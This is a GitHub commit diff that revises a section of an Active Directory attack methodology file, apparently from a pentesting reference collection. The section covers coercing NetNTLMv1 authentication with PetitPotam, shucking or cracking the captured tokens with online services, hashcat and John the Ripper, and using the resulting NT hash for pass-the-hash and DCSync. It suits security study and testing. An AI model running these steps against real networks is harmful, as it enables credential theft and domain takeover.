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More details on NetNTLMv1 + typos

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More details on NetNTLMv1 + typos
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Yann CAM (ycam) 2023-07-25 11:31:35 +02:00 committed by GitHub
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21
Methodology and Resources/Active Directory Attack.md
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@ -2120,7 +2120,7 @@ root@kali:~$ klist
PetitPotam.exe Responder-IP DC-IP # Patched around August 2021 PetitPotam.exe Responder-IP DC-IP # Patched around August 2021
PetitPotam.py -u Username -p Password -d Domain -dc-ip DC-IP Responder-IP DC-IP # Not patched for authenticated users PetitPotam.py -u Username -p Password -d Domain -dc-ip DC-IP Responder-IP DC-IP # Not patched for authenticated users
``` ```
* If you got some `NetNTLMv1 tokens`, you can try to **shuck** them online via [Shuck.Sh](https://shuck.sh/) or locally/on-premise via [ShuckNT](https://github.com/yanncam/ShuckNT/) to get NT-hashes corresponding from [HIBP database](https://haveibeenpwned.com/Passwords). If the NT-hash has previously leaked, the NetNTLMv1 is converted to NT-hash ([pass-the-hash](#pass-the-hash) ready) instantly. The [shucking process](https://www.youtube.com/watch?v=OQD3qDYMyYQ&ab_channel=PasswordVillage) work for any NetNTLMv1 with or without ESS/SSP (challenge != `1122334455667788`) but mainly for user account (plaintext previsouly leaked). * If you got some `NetNTLMv1 tokens`, you can try to **shuck** them online via [Shuck.Sh](https://shuck.sh/) or locally/on-premise via [ShuckNT](https://github.com/yanncam/ShuckNT/) to get NT-hashes corresponding from [HIBP database](https://haveibeenpwned.com/Passwords). If the NT-hash has previously leaked, the NetNTLMv1 is converted to NT-hash ([pass-the-hash](#pass-the-hash) ready) instantly. The [shucking process](https://www.youtube.com/watch?v=OQD3qDYMyYQ&ab_channel=PasswordVillage) works for any NetNTLMv1 with or without ESS/SSP (challenge != `1122334455667788`) but mainly for user account (plaintext previsouly leaked).
```ps1 ```ps1
# Submit NetNTLMv1 online to https://shuck.sh/get-shucking.php # Submit NetNTLMv1 online to https://shuck.sh/get-shucking.php
# Or shuck them on-premise via ShuckNT script: # Or shuck them on-premise via ShuckNT script:
@ -2130,25 +2130,30 @@ root@kali:~$ klist
[INPUT] ycam::ad:DEADC0DEDEADC0DE00000000000000000000000000000000:70C249F75FB6D2C0AC2C2D3808386CCAB1514A2095C582ED:1122334455667788 [INPUT] ycam::ad:DEADC0DEDEADC0DE00000000000000000000000000000000:70C249F75FB6D2C0AC2C2D3808386CCAB1514A2095C582ED:1122334455667788
[NTHASH-SHUCKED] 93B3C62269D55DB9CA660BBB91E2BD0B [NTHASH-SHUCKED] 93B3C62269D55DB9CA660BBB91E2BD0B
``` ```
* If you got some `NetNTLMv1 tokens`, you can also try to crack them (more time and chargeable). For this you need to format them to submit them on [crack.sh](https://crack.sh/netntlm/). [Shuck.Sh](https://shuck.sh/) Converter can be used online to convert format easily. * If you got some `NetNTLMv1 tokens`, you can also try to crack them via [Crack.Sh](https://crack.sh/) (cloud service when available, more time and potentially chargeable). For this you need to format them to submit them on [Crack.Sh](https://crack.sh/netntlm/). The Converter of [Shuck.Sh](https://shuck.sh/) can be used to convert format easily.
```ps1 ```ps1
# When there is no-ESS/SSP and the challenge is set to 1122334455667788, it's free (0$):
username::hostname:response:response:challenge -> NTHASH:response username::hostname:response:response:challenge -> NTHASH:response
NTHASH:F35A3FE17DCB31F9BE8A8004B3F310C150AFA36195554972 NTHASH:F35A3FE17DCB31F9BE8A8004B3F310C150AFA36195554972
# When there is ESS/SSP or challenge != 1122334455667788, it's chargeable from $20-$200:
username::hostname:lmresponse+0padding:ntresponse:challenge -> $NETNTLM$challenge$ntresponse
$NETNTLM$DEADC0DEDEADC0DE$507E2A2131F4AF4A299D8845DE296F122CA076D49A80476E
``` ```
* Finaly, if [Shuck.Sh](https://shuck.sh/) nor [Crack.Sh](https://crack.sh/) can be used, you can try to crack them with Hashcat / John The Ripper * Finaly, if no [Shuck.Sh](https://shuck.sh/) nor [Crack.Sh](https://crack.sh/) can be used, you can try to break NetNTLMv1 with Hashcat / John The Ripper
```ps1 ```ps1
john --format=netntlm hash.txt john --format=netntlm hash.txt
hashcat -m 5500 -a 3 hash.txt # for NetNTLMv1(-ESS/SSP) to plaintext hashcat -m 5500 -a 3 hash.txt # for NetNTLMv1(-ESS/SSP) to plaintext (for user account)
hashcat -m 27000 -a 0 hash.txt nthash-wordlist.txt # for NetNTLMv1(-ESS/SSP) to NT-hash hashcat -m 27000 -a 0 hash.txt nthash-wordlist.txt # for NetNTLMv1(-ESS/SSP) to NT-hash (for user and computer account, depending on nthash-wordlist quality)
hashcat -m 14000 -a 3 inputs.txt --hex-charset -1 /usr/share/hashcat/charsets/DES_full.hcchr ?1?1?1?1?1?1?1?1 # for NetNTLMv1(-ESS/SSP) to DES-keys (KPA-attack), then regenerate NT-hash with these DES-keys on https://shuck.sh/converter.php. hashcat -m 14000 -a 3 inputs.txt --hex-charset -1 /usr/share/hashcat/charsets/DES_full.hcchr ?1?1?1?1?1?1?1?1 # for NetNTLMv1(-ESS/SSP) to DES-keys (KPA-attack) of user/computer account with 100% success rate, then regenerate NT-hash with these DES-keys on https://shuck.sh/converter.php.
``` ```
* Now you can DCSync using the Pass-The-Hash with the DC machine account * Now you can DCSync using the Pass-The-Hash with the DC machine account
:warning: NetNTLMv1 with ESS / SSP (Extended Session Security / Security Support Provider) changes the final challenge by adding a new alea (!= `1122334455667788`, so chargeable on [crack.sh](https://crack.sh/)). :warning: NetNTLMv1 with ESS / SSP (Extended Session Security / Security Support Provider) changes the final challenge by adding a new alea (!= `1122334455667788`, so chargeable on [Crack.Sh](https://crack.sh/)).
:warning: NetNTLMv1 format is `login::domain:lmresp:ntresp:clientChall`. If the `lmresp` contains a **0's-padding** this means that the token is protected by **ESS/SSP**. :warning: NetNTLMv1 format is `login::domain:lmresp:ntresp:clientChall`. If the `lmresp` contains a **0's-padding** this means that the token is protected by **ESS/SSP**.
:warning: NetNTLMv1 final challenge is the Responder's challenge itself (`1122334455667788`) when there is no ESS/SSP. If ESS/SSP is enabled, the final challenge is the first 8 bytes of the MD5 hash from the concatenation of the client challenge and server challenge. The details of the algorithmic generation of a NetNTLMv1 are illustrated on the [Shuck.Sh Generator](https://shuck.sh/generator.php). :warning: NetNTLMv1 final challenge is the Responder's challenge itself (`1122334455667788`) when there is no ESS/SSP. If ESS/SSP is enabled, the final challenge is the first 8 bytes of the MD5 hash from the concatenation of the client challenge and server challenge. The details of the algorithmic generation of a NetNTLMv1 are illustrated on the [Shuck.Sh Generator](https://shuck.sh/generator.php) and detailed in [MISCMag#128](https://connect.ed-diamond.com/misc/misc-128/shuck-hash-before-trying-to-crack-it).
:warning: If you get some tokens from other tools ([hostapd-wpe](https://github.com/OpenSecurityResearch/hostapd-wpe) or [chapcrack](https://github.com/moxie0/chapcrack)) in other formats, like tokens starting with the prefix `$MSCHAPv2$`, `$NETNTLM$` or `$99$`, they correspond to a classic NetNTLMv1 and can be converted from one format to another [here](https://shuck.sh/converter.php). :warning: If you get some tokens from other tools ([hostapd-wpe](https://github.com/OpenSecurityResearch/hostapd-wpe) or [chapcrack](https://github.com/moxie0/chapcrack)) in other formats, like tokens starting with the prefix `$MSCHAPv2$`, `$NETNTLM$` or `$99$`, they correspond to a classic NetNTLMv1 and can be converted from one format to another [here](https://shuck.sh/converter.php).